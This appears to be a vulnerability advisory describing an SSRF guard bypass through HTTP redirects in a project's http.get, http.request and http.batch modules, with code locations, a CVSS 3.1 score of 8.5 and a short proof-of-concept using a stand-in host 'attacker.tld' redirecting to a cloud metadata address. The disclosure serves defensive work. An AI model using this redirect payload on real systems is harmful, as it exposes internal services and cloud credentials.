The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.
src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.
Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.
attacker hosts http://attacker.tld/r -> 302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.Live PoC followed a 302 into non-allowlisted loopback and returned the internal...
2.26.7Exploitability
AV:NAC:LPR:LUI:NScope
S:CImpact
C:HI:LA:N8.5/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:NInput Validation